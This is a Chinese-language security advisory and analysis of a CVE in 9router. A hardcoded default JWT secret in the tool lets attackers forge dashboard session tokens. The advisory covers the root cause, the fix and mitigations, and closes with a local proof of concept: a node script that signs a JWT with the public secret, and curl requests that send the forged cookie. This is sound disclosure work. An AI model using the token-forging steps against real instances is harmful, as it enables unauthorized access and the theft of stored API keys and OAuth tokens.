9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
CVE-2026-49352 / GHSA-jphh-m39h-6gwx 分析
结论
9router 在未配置 JWT_SECRET 时,使用公开且所有实例相同的字符串 9router-default-secret-change-me 签发和校验 Dashboard 会话 JWT。远程未认证攻击者可用该已知密钥自行签发 auth_token,绕过 Dashboard 及受 JWT 保护的 API 鉴权。漏洞类型为 CWE-798,CVSS 3.1 为 9.8。
版本说明:修复提交已经进入仓库的
v0.4.44标签历史,但 GitHub Advisory 当前对 npm 包标注的首个修复版本是0.4.45。升级处置应以官方公告为准,使用0.4.45或更高版本。
产品与暴露面
9router 是面向 AI 编程工具的自托管路由和网关,提供 Web 管理后台及 OpenAI 兼容 HTTP API。它能够保存上游模型服务的 OAuth 凭据、认证令牌和 API Key,支持本机、VPS 和容器部署;容器示例监听 0.0.0.0:20128。如果管理端口通过公网、内网转发或隧道暴露,且没有显式设置 JWT_SECRET,该问题可被远程利用。
根因
受影响版本的 src/lib/auth/dashboardSession.js 包含:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
会话由 jose 使用 HS256 对称算法签名,正常登录生成的载荷包含 authenticated: true,有效期为 24 小时。校验函数只要能用同一密钥通过 jwtVerify 就视为有效。默认字符串存在于公开源码中且跨安装实例不变,因此不能承担密钥作用。修改登录密码不会改变 JWT 签名密钥,也不能单独消除该漏洞。
鉴权链
- 登录成功后,服务把 JWT 写入名为
auth_token的 HttpOnly Cookie。 dashboardGuard.js从 Cookie 读取令牌并调用verifyDashboardAuthToken。/dashboard根据校验结果决定放行或重定向至/login。/api/shutdown和/api/settings/database被列为始终需要 JWT 的路径;其他设置、密钥和 Provider 管理接口也接受有效 JWT。- 攻击者知道默认签名密钥,无需用户密码即可生成通过校验的令牌。
提交与版本证据
| 节点 | 提交/版本 | 说明 |
|---|---|---|
| 引入 | 23cfb19 | 在最初的认证实现中加入硬编码回退密钥 |
| 代码迁移 | c3d91b0 | OIDC 重构把逻辑迁移至共享模块,默认密钥未改变 |
| 修复前基线 | cebc72e3438dca5aad69b2828cb0d0f2e54b168d / v0.4.41 | 仍使用公开回退密钥 |
| 修复提交 | fe3ce25ae3cda48c0702c2d452e17f6ec214009d | Update JWT_SECRET handling,2026-05-15 |
| 仓库发布历史 | v0.4.44 | 标签历史已经包含修复提交 |
| 官方修复版本 | 0.4.45 | GitHub Advisory 当前的 npm first_patched_version |
受影响范围以 GitHub Advisory 为准:>= 0.2.21, <= 0.4.41。
修复实现
修复提交删除公开默认值,并按以下顺序加载密钥:
- 设置了
JWT_SECRET时直接使用环境变量。 - 否则读取
$DATA_DIR/jwt-secret。 - 文件不存在时,通过
crypto.randomBytes(32)生成 32 字节随机值并转为十六进制。 - 将新值持久化到
$DATA_DIR/jwt-secret,文件权限设为0600。
同一提交还把 /api/translator 加入受保护 API 路径;这是同批鉴权加固。硬编码密钥问题的核心修复是为每个实例生成并持久化独立随机密钥。
影响
成功利用后,攻击者可进入管理后台并调用接受 Dashboard JWT 的管理接口。结合项目功能,可能造成上游 Provider 的 API Key、OAuth 令牌及其他认证信息泄露,设置和登录密码被修改,以及服务被关闭。实际影响取决于实例的网络暴露情况和其中保存的凭据。
排查与修复建议
- 升级到
0.4.45或更高版本,不把0.4.44作为官方安全基线。 - 多实例或无持久化文件系统的部署应显式设置高强度、唯一的
JWT_SECRET;需要共享密钥时通过密钥管理系统分发。 - 容器部署应持久化
DATA_DIR,确认jwt-secret不会随重启反复生成。 - 升级或轮换密钥后重启服务,使旧令牌失效,并检查 Dashboard 和受保护 API 的访问日志。
- 旧实例若曾暴露到不可信网络,应轮换其中保存的上游 API Key、OAuth 令牌和其他凭据。
- 限制 20128 端口的访问范围,在反向代理或防火墙层阻止未经授权的公网访问。
参考
本地授权环境复现
只在自己拥有或明确获准测试的 9router 实例上执行。以下步骤只访问本机 Dashboard,用于证明鉴权绕过,不读取或修改密钥、令牌及配置。
前提
- 使用受影响的
v0.4.41,对应提交cebc72e3438dca5aad69b2828cb0d0f2e54b168d。 - 启动服务时不设置
JWT_SECRET。 - 服务仅绑定测试机或隔离网络,示例地址为
http://127.0.0.1:20128。 - 项目依赖中已经包含
jose。
1. 建立未登录基线
curl -sS -o /dev/null -D - http://127.0.0.1:20128/dashboard
预期返回重定向,Location 指向 /login。
2. 使用公开默认密钥生成短期测试 JWT
在受影响版本的项目目录执行:
node --input-type=module <<'NODE'
import { SignJWT } from "jose";
const secret = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256", typ: "JWT" })
.setIssuedAt()
.setExpirationTime("10m")
.sign(secret);
console.log(token);
NODE
复制输出令牌。有效期限制为 10 分钟,只用于本地验证。
3. 使用伪造 Cookie 访问 Dashboard
curl -sS -o /dev/null -D - \
--cookie "auth_token=<上一步输出的令牌>" \
http://127.0.0.1:20128/dashboard
受影响版本会将令牌视为有效,不再重定向到 /login,证明无需密码即可绕过 Dashboard 鉴权。不要继续访问 /api/settings/database 等保存敏感信息的接口。
4. 验证修复
升级到 0.4.45 或更高版本,清除测试浏览器中的 auth_token 并重启服务,再重复以上步骤。预期:
- 使用公开旧密钥签发的 JWT 被拒绝并重定向到
/login。 - 未设置
JWT_SECRET时,服务在$DATA_DIR/jwt-secret生成实例独有的随机密钥。 - Linux 上可用以下命令确认文件权限为
600:
stat -c '%a %n' "$DATA_DIR/jwt-secret"
未显式设置 DATA_DIR 时默认目录通常为 ~/.9router。容器中应将该目录挂载到持久化存储。